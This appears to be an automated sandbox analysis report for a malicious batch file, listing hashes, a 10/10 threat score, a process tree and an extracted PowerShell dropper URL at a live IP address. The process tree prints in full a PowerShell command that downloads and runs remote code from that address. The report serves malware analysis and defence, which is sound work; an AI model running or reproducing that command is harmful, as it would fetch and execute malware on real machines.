2674c1819c1820eb2c521770cb16fa5b47068ce9fbfa8eacf33d4ce56b08e170 | Triage

Analysis

max time kernel
146s
max time network
70s
platform
windows10_x64
resource
win10v200430
submitted
12-06-2020 00:10

Sharing

Report Analysis Logs

General

Target

315ea3e45ed9d73cb511afb5ad1e2d86.bat
Size

213B
MD5

9ffed33cd2f438b612e85a2525de7fb6
SHA1

712f155efba4999bf546e2848347b572bce27b14
SHA256

2674c1819c1820eb2c521770cb16fa5b47068ce9fbfa8eacf33d4ce56b08e170
SHA512

6378aa3c586fb010b39411f4f1f34d6bbf9266f8a86827f6128c367298d7a295acd59fc72a318df3e5dfae8bb95248b5d8aa5330052bc7064f7b949016b2fafb

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/315ea3e45ed9d73cb511afb5ad1e2d86

Signatures

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
816	WerFault.exe
816	WerFault.exe
816	WerFault.exe
816	WerFault.exe
816	WerFault.exe
816	WerFault.exe
816	WerFault.exe
816	WerFault.exe
816	WerFault.exe
816	WerFault.exe
816	WerFault.exe
816	WerFault.exe
816	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

816 424 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 816 WerFault.exe
Token: SeBackupPrivilege 816 WerFault.exe
Token: SeDebugPrivilege 816 WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\315ea3e45ed9d73cb511afb5ad1e2d86.bat"
1⤵
PID:3768

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/315ea3e45ed9d73cb511afb5ad1e2d86');Invoke-NLIWNW;Start-Sleep -s 10000"
2⤵
PID:424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 424 -s 704
3⤵
- Suspicious behavior: EnumeratesProcesses
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:816

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/816-0-0x0000000004C90000-0x0000000004C91000-memory.dmp

Filesize
4KB

Download
memory/816-1-0x00000000052C0000-0x00000000052C1000-memory.dmp

Filesize
4KB

Download
memory/816-2-0x00000000056C0000-0x00000000056C1000-memory.dmp

Filesize
4KB

Download